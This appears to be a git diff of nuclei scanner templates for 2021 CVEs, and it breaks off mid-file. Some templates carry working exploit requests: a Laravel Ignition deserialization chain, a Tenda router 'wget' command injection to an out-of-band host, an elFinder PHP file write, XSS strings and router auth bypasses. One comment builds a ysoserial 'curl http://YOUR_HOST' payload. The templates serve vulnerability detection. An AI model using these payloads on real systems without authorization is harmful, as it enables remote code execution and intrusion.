- reference: - - https://www.ambionics.io/blog/laravel-debug-rce - - https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129 - - https://nvd.nist.gov/vuln/detail/CVE-2021-3129 - - https://github.com/facade/ignition/pull/334 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-3129 - tags: cve,cve2021,laravel,rce - -requests: - - raw: - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} - - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} - - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "AA"}} - - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"}} - - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} - - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "phar://../storage/logs/laravel.log/test.txt"}} - - matchers-condition: and - matchers: - - type: status - status: - - 500 - - - type: word - words: - - "uid=" - - "gid=" - - "groups=" - - "Illuminate" - part: body - condition: and - - extractors: - - type: regex - regex: - - "(u|g)id=.*" - -# Enhanced by mp on 2022/05/17 diff --git a/nuclei-templates/CVE-2021/CVE-2021-31755.yaml b/nuclei-templates/CVE-2021/CVE-2021-31755.yaml new file mode 100644 index 0000000000..d1d4550b3f --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-31755.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-31755 + +info: + name: Tenda Router AC11 RCE + description: Vulnerabilities in the web-based management interface of enda Router AC11 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. + author: gy741 + severity: critical + reference: | + - https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3 + - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai + tags: cve,cve2021,tenda,rce,oob + +requests: + - raw: + - | + POST /goform/setmac HTTP/1.1 + Host: {{Hostname}} + Connection: close + Accept-Encoding: gzip, deflate + Accept: */* + Origin: http://{{Hostname}} + Referer: http://{{Hostname}}/index.htmlr + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 + Content-Type: application/x-www-form-urlencoded + + module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2021/CVE-2021-31862.yaml b/nuclei-templates/CVE-2021/CVE-2021-31862.yaml new file mode 100644 index 0000000000..002a8fdbff --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-31862.yaml @@ -0,0 +1,30 @@ +id: CVE-2021-31862 + +info: + name: SysAid - Reflected XSS + author: jas37 + severity: medium + description: SysAid 20.4.74 allows XSS via the KeepAlive.jsp stamp parameter without any authentication. + reference: + - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md + - https://nvd.nist.gov/vuln/detail/CVE-2021-31862 + - https://www.sysaid.com/product/on-premise/latest-release + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-31862 + cwe-id: CWE-79 + tags: cve,cve2021,xss,sysaid + +requests: + - method: GET + path: + - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E' + + matchers: + + - type: dsl + dsl: + - '(body == "false ")' + - 'status_code == 200' + condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-32030.yaml b/nuclei-templates/CVE-2021/CVE-2021-32030.yaml deleted file mode 100644 index 6dc97ac75f..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-32030.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2021-32030 - -info: - name: ASUS GT-AC2900 - Authentication Bypass - author: gy741 - severity: critical - description: "ASUS GT-AC2900 devices before 3.0.0.4.386.42643 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator application. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of '\0' matches the device's default value of '\0' in some situations." - reference: - - https://www.atredis.com/blog/2021/4/30/asus-authentication-bypass - - https://nvd.nist.gov/vuln/detail/CVE-2021-32030 - - https://github.com/atredispartners/advisories/blob/master/ATREDIS-2020-0010.md - - https://www.asus.com/Networking-IoT-Servers/WiFi-Routers/ASUS-Gaming-Routers/RT-AC2900/HelpDesk_BIOS/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-32030 - cwe-id: CWE-287 - tags: cve,cve2021,asus,auth-bypass,router - -requests: - - raw: - - | - GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1 - Host: {{Hostname}} - User-Agent: asusrouter-- - Referer: {{BaseURL}} - Cookie: asus_token=\0Invalid; clickedItem_tab=0 - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - application/json - - - type: word - words: - - "get_cfg_clientlist" - - "alias" - - "model_name" - condition: and - -# Enhanced by mp on 2022/04/22 diff --git a/nuclei-templates/CVE-2021/CVE-2021-32172.yaml b/nuclei-templates/CVE-2021/CVE-2021-32172.yaml new file mode 100644 index 0000000000..e5bbb54bfc --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-32172.yaml @@ -0,0 +1,57 @@ +id: CVE-2021-32172 + +info: + name: Maian Cart <=3.8 - Remote Code Execution + author: pdteam + severity: critical + description: Maian Cart 3.0 to 3.8 via the elFinder file manager plugin contains a remote code execution vulnerability. + reference: + - https://dreyand.github.io/maian-cart-rce/ + - https://github.com/DreyAnd/maian-cart-rce + - https://www.maianscriptworld.co.uk/critical-updates + - https://nvd.nist.gov/vuln/detail/CVE-2021-32172 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-32172 + cwe-id: CWE-862 + tags: cve,cve2021,rce,unauth,maian + +requests: + - raw: + - | + GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1 + Host: {{Hostname}} + Accept: */* + + - | + POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1 + Host: {{Hostname}} + Accept: application/json, text/javascript, /; q=0.01 + Accept-Language: en-US,en;q=0.5 + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + + cmd=put&target={{hash}}&content=%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e + + - | + GET /product-downloads/{{randstr}}.php HTTP/1.1 + Host: {{Hostname}} + Accept: */* + + extractors: + - type: regex + name: hash + internal: true + group: 1 + regex: + - '"hash"\:"(.*?)"\,' + + req-condition: true + matchers: + - type: dsl + dsl: + - 'contains(body_3, "{{randstr_1}}")' + - "status_code_3 == 200" + condition: and + +# Enhanced by mp on 2022/05/18 diff --git a/nuclei-templates/CVE-2021/CVE-2021-32618.yaml b/nuclei-templates/CVE-2021/CVE-2021-32618.yaml deleted file mode 100644 index 463eae47d6..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-32618.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2021-32618 - -info: - name: Flask Security Open Redirect - author: 0x_Akoko - severity: medium - description: There is code in FS to validate that the url specified in the next parameter is either relative OR has the same netloc (network location) as the requesting URL. This check utilizes Pythons urlsplit library. However many browsers are very lenient on the kind of URL they accept and 'fill in the blanks' when presented with a possibly incomplete URL. As a concrete example - setting http://login?next=\\\github.com will pass FS's relative URL check however many browsers will gladly convert this to http://github.com. - reference: - - https://github.com/Flask-Middleware/flask-security/issues/486 - - https://www.cvedetails.com/cve/CVE-2021-32618 - tags: cve,cve2021,redirect,flask - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-32618 - cwe-id: CWE-601 - -requests: - - method: GET - - path: - - '{{BaseURL}}/login?next=\\\example.com' - - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' - part: header diff --git a/nuclei-templates/CVE-2021/CVE-2021-32682.yaml b/nuclei-templates/CVE-2021/CVE-2021-32682.yaml new file mode 100644 index 0000000000..d5903bdecb --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-32682.yaml @@ -0,0 +1,49 @@ +id: CVE-2021-32682 + +info: + name: elFinder 2.1.58 - Remote Code Execution + author: smaranchand + severity: critical + description: elFinder 2.1.58 is impacted by multiple remote code execution vulnerabilities that could allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with minimal configuration. + reference: + - https://smaranchand.com.np/2022/01/organization-vendor-application-security/ + - https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities + - https://github.com/Studio-42/elFinder/security/advisories/GHSA-wph3-44rj-92pr + - https://nvd.nist.gov/vuln/detail/CVE-2021-32682 + remediation: Update to elFinder 2.1.59 or later. As a workaround, ensure the connector is not exposed without authentication. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-32682 + cwe-id: CWE-22,CWE-78,CWE-918 + metadata: + github: https://github.com/Studio-42/elFinder + tags: cve,cve2021,elfinder,misconfig,rce,oss + +requests: + - method: GET + path: + - "{{BaseURL}}/admin/elfinder/elfinder-cke.html" + - "{{BaseURL}}/assets/backend/elfinder/elfinder-cke.html" + - "{{BaseURL}}/assets/elFinder-2.1.9/elfinder.html" + - "{{BaseURL}}/assets/elFinder/elfinder.html" + - "{{BaseURL}}/backend/elfinder/elfinder-cke.html" + - "{{BaseURL}}/elfinder/elfinder-cke.html" + - "{{BaseURL}}/uploads/assets/backend/elfinder/elfinder-cke.html" + - "{{BaseURL}}/uploads/assets/backend/elfinder/elfinder.html" + - "{{BaseURL}}/uploads/elfinder/elfinder-cke.html" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - "elfinder" + - "php/connector" + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/04/19 diff --git a/nuclei-templates/CVE-2021/cve-2021-32819.yaml b/nuclei-templates/CVE-2021/CVE-2021-32819.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-32819.yaml rename to nuclei-templates/CVE-2021/CVE-2021-32819.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-32853.yaml b/nuclei-templates/CVE-2021/CVE-2021-32853.yaml deleted file mode 100644 index 9c4ce91e9c..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-32853.yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2021-32853 - -info: - name: Erxes <0.23.0 - Cross-Site Scripting - author: dwisiswant0 - severity: critical - description: Erxes before 0.23.0 contains a cross-site scripting vulnerability. The value of topicID parameter is not escaped and is triggered in the enclosing script tag. - remediation: | - Upgrade to Erxes version 0.23.0 or later to mitigate the vulnerability. - reference: - - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/ - - https://nvd.nist.gov/vuln/detail/CVE-2021-3285 - - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/views/widget.ejs#L14 - - https://github.com/erxes/erxes/blob/f131b49add72032650d483f044d00658908aaf4a/widgets/server/index.ts#L54 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - cvss-score: 9.6 - cve-id: CVE-2021-32853 - cwe-id: CWE-79 - epss-score: 0.00585 - epss-percentile: 0.75822 - cpe: cpe:2.3:a:erxes:erxes:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: erxes - product: erxes - shodan-query: http.title:"erxes" - tags: cve,cve2021,xss,erxes,oss - -http: - - method: GET - path: - - "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'topic_id: "' - - "window.erxesEnv" - condition: and - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 - -# digest: 490a0046304402200d5860546f8739e65cc34f72629a9fec1ac2c627822b1de98f745e785e868b2b022035e11a0a4f2c55a2901323629baee73a5630770cdaa9c673bd86c315c02b96ea:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/CVE-2021-33044.yaml b/nuclei-templates/CVE-2021/CVE-2021-33044.yaml deleted file mode 100644 index 09217ac1d6..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-33044.yaml +++ /dev/null @@ -1,55 +0,0 @@ -id: CVE-2021-33044 - -info: - name: Dahua IPC/VTH/VTO devices Authentication Bypass - author: gy741 - severity: critical - description: The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets. - reference: - - https://github.com/dorkerdevil/CVE-2021-33044 - - https://nvd.nist.gov/vuln/detail/CVE-2021-33044 - - https://seclists.org/fulldisclosure/2021/Oct/13 - - https://www.dahuasecurity.com/support/cybersecurity/details/957 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-33044 - cwe-id: CWE-287 - tags: dahua,cve,cve2021,auth-bypass - -requests: - - raw: - - | - POST /RPC2_Login HTTP/1.1 - Host: {{Hostname}} - Accept: application/json, text/javascript, */*; q=0.01 - Connection: close - X-Requested-With: XMLHttpRequest - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Origin: {{BaseURL}} - Referer: {{BaseURL}} - - {"id": 1, "method": "global.login", "params": {"authorityType": "Default", "clientType": "NetKeyboard", "loginType": "Direct", "password": "Not Used", "passwordType": "Default", "userName": "admin"}, "session": 0} - - matchers-condition: and - matchers: - - - type: status - status: - - 200 - - - type: word - part: body - words: - - '"result":true' - - 'id' - - 'params' - - 'session' - condition: and - - extractors: - - type: regex - group: 1 - part: body - regex: - - ',"result":true,"session":"([a-z]+)"\}' diff --git a/nuclei-templates/CVE-2021/CVE-2021-3378.yaml b/nuclei-templates/CVE-2021/CVE-2021-3378.yaml new file mode 100644 index 0000000000..f39c826555 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-3378.yaml @@ -0,0 +1,52 @@ +id: CVE-2021-3378 + +info: + name: FortiLogger Unauthenticated Arbitrary File Upload + author: dwisiswant0 + severity: critical + reference: https://erberkan.github.io/2021/cve-2021-3378/ + description: | + This template detects an unauthenticated arbitrary file upload + via insecure POST request. It has been tested on version 4.4.2.2 in + Windows 10 Enterprise. + tags: cve,cve2021,fortilogger,fortigate,fortinet + +requests: + - raw: + - | + POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS + Accept: application/json + Referer: {{BaseURL}} + Connection: close + X-Requested-With: XMLHttpRequest + + ------WebKitFormBoundarySHHbUsfCoxlX1bpS + Content-Disposition: form-data; name="file"; filename="poc.txt" + Content-Type: image/png + + POC_TEST + + ------WebKitFormBoundarySHHbUsfCoxlX1bpS + + - | + GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "POC_TEST" + part: body + + - type: word + words: + - "text/plain" + - "ASP.NET" + condition: and + part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-33807.yaml b/nuclei-templates/CVE-2021/CVE-2021-33807.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-33807.yaml rename to nuclei-templates/CVE-2021/CVE-2021-33807.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-33904.yaml b/nuclei-templates/CVE-2021/CVE-2021-33904.yaml new file mode 100644 index 0000000000..331900d021 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-33904.yaml @@ -0,0 +1,39 @@ +id: CVE-2021-33904 + +info: + name: Accela Civic Platform 21.1 - 'servProvCode' XSS + author: geeknik + severity: medium + description: In Accela Civic Platform through 21.1, the security/hostSignon.do parameter servProvCode is vulnerable to XSS. + reference: + - https://www.exploit-db.com/exploits/49980 + - https://gist.github.com/0xx7/3d934939d7122fe23db11bc48eda9d21 + - http://packetstormsecurity.com/files/163093/Accela-Civic-Platorm-21.1-Cross-Site-Scripting.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-33904 + cwe-id: CWE-79 + tags: cve,cve2021,accela,xss + +requests: + - method: GET + path: + - "{{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "text/html" + + - type: word + words: + - '"k3woq"^confirm(document.domain)^"a2pbrnzx5a9"' + - 'servProvCode' + condition: and + + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-34370.yaml b/nuclei-templates/CVE-2021/CVE-2021-34370.yaml new file mode 100644 index 0000000000..13b713dd9e --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-34370.yaml @@ -0,0 +1,20 @@ +id: CVE-2021-34370 + +info: + name: Accela Civic Platform 21.1 - Open Redirect & XSS + author: 0x_Akoko + description: Accela Civic Platform Cross-Site-Scripting and Open Redirect <= 21.1 + reference: https://www.exploit-db.com/exploits/49990 + severity: medium + tags: xss,redirect,cves + +requests: + - method: GET + path: + - "{{BaseURL}}/ssoAdapter/logoutAction.do?servProvCode=SAFVC&successURL=https://example.com/" + + matchers: + - type: regex + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + part: header diff --git a/nuclei-templates/CVE-2021/cve-2021-35265.yaml b/nuclei-templates/CVE-2021/CVE-2021-35265.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-35265.yaml rename to nuclei-templates/CVE-2021/CVE-2021-35265.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-35336.yaml b/nuclei-templates/CVE-2021/CVE-2021-35336.yaml similarity index 100% rename from nuclei-templates/CVE-2021/cve-2021-35336.yaml rename to nuclei-templates/CVE-2021/CVE-2021-35336.yaml diff --git a/nuclei-templates/CVE-2021/CVE-2021-35464.yaml b/nuclei-templates/CVE-2021/CVE-2021-35464.yaml deleted file mode 100644 index 5b884fab3a..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-35464.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2021-35464 - -info: - author: madrobot - name: Pre-auth RCE in ForgeRock OpenAM - description: ForgeRock OpenAM unsafe Java deserialization RCE. - severity: critical - tags: cve,cve2021,openam,rce,java - reference: | - - https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464 - -requests: - - method: GET - path: - - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version' - - # '{{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=' - # java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '=' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "Set-Cookie: JSESSIONID=" - part: header - - - type: word - words: - - "Version Information -" - part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-35587.yaml b/nuclei-templates/CVE-2021/CVE-2021-35587.yaml new file mode 100644 index 0000000000..d49530cc45 --- /dev/null +++ b/nuclei-templates/CVE-2021/CVE-2021-35587.yaml @@ -0,0 +1,56 @@ +id: CVE-2021-35587 + +info: + name: Oracle Access Manager - Remote Code Execution + author: cckuailong + severity: critical + description: | + The Oracle Access Manager portion of Oracle Fusion Middleware (component: OpenSSO Agent) is vulnerable to remote code execution. Supported versions that are affected are 11.1.2.3.0, 12.2.1.3.0 and 12.2.1.4.0. This is an easily exploitable vulnerability that allows unauthenticated attackers with network access via HTTP to compromise Oracle Access Manager. + remediation: | + Apply the latest security patches provided by Oracle to mitigate this vulnerability. + reference: + - https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316 + - https://nvd.nist.gov/vuln/detail/CVE-2021-35587 + - https://www.oracle.com/security-alerts/cpujan2022.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-35587 + cwe-id: CWE-502 + epss-score: 0.95643 + epss-percentile: 0.99236 + cpe: cpe:2.3:a:oracle:access_manager:11.1.2.3.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: oracle + product: access_manager + shodan-query: http.title:"Oracle Access Management" + fofa-query: body="/oam/pages/css/login_page.css" + tags: cve,cve2021,oam,rce,java,unauth,oracle,kev + +http: + - method: GET + path: + - '{{BaseURL}}/oam/server/opensso/sessionservice' + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "x-oracle-dms-ecid" + - "x-oracle-dms-rid" + case-insensitive: true + condition: or + + - type: word + part: body + words: + - "/oam/pages/css/general.css" + + - type: status + status: + - 200 + +# digest: 4a0a00473045022100f6d73f1b41fdd1bfc1b430b7a051be821dc893567b2af11c759ad99ae192ca6d022079a7aff657604ea86a0c43894e1765c8c1e76ed07c59ea7eca41c17ae9c34b58:922c64590222798bb761d5b6d8e72950 diff --git a/nuclei-templates/CVE-2021/CVE-2021-36450.yaml b/nuclei-templates/CVE-2021/CVE-2021-36450.yaml deleted file mode 100644 index 7220501c25..0000000000 --- a/nuclei-templates/CVE-2021/CVE-2021-36450.yaml +++ /dev/null @@ -1,55 +0,0 @@ -id: CVE-2021-36450 -info: - name: Verint 15.2 - Cross Site Scripting - author: atomiczsec - severity: medium - description: Verint Workforce Optimization (WFO) 15.2.8.10048 allows XSS via the control/my_notifications NEWUINAV parameter. - reference: - - https://medium.com/@1nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740 - - https://sushantvkamble.blogspot.com/2021/11/cross-site-scripting-xss.html - - https://nvd.nist.gov/vuln/detail/CVE-2021-36450 - - http://verint.com - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-36450 - cwe-id: CWE-79 - metadata: - shodan-query: title:"Verint Sign-in" - verified: "true" - tags: cve,cve2021,xss,verint -requests: - - raw: - - | - GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 HTTP/1.1 - Host: {{Hostname}} - - | - POST /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3Ch1%3E%26 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - 